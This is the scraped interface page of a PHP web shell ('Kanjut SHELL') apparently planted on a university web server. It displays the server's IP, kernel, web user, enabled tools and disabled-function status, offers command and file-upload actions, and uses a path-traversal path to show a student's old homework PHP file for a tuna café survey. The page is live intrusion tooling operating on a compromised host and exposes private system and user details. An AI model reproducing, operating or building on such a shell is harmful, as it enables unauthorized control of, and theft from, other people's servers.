Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.63.71
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wakeating/../tasantos/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wakeating/../tasantos/public_html/hw7results.php
<?php
//	File Name:	hw7results.php
//	Class:		CS480
//	Due Date:	March 30, 2009
//	Author:		Tara Santos
//	Instructor:	Dr. Wang
//	Goal:		Action code for hw7.php

	session_start()
?>
<center><font size=6 face=impact color=336600><b>Welcome to Tuna Caf&#233!</b></center></font>
<BODY background="http://www.marthadotcom.com/green%20wallpaper.jpg" >
<FONT COLOR=993333 size=4 face=impact>
<Center>Tuna Caf&#233 Results Received<br></FONT></center>
<FONT size=4 face=impact color=336600>
<?php
	$prefer=$_POST['prefer'];
	$menu = array('Tuna Casserole', 'Tuna Sandwich', 'Tuna Pie', 'Grilled Tuna', 'Tuna Surprise');
	if(count($prefer) == 0) // none checked
		echo "<p>Oh no, please pick something <A HREF=hw7.php> 
			as your favorite</A>!<br>";
	else
	{	echo "<BR>Your selections were: <UL>";
		foreach ($prefer as $item)
			echo "<font color='white'><LI>$menu[$item]</LI></font>";
	}
	echo "</UL>";

	$prefer1=$_POST['prefer1'];
	$responses = array('The marvelous food preparation', 'The affordable prices', 'The speedy service',
                                'Just like tuna', 'None of the above');
	if(count($prefer1) == 0) 
		echo "<p>You did not tell us what you like about Tuna Caf&#233, <A HREF=hw7.php>
			please let us know.</A>";
	else
	{	echo "<BR>You like: <UL>";
		foreach ($prefer1 as $item1)
			echo "<font color='white'><LI>$responses[$item1]</LI></font><br>
			<center><font size=5><b>Thanks for your feedback!!</b></font></center>";
	}
	echo "</UL>";
?>
</FONT>
</BODY>


Stv3n404 - 2023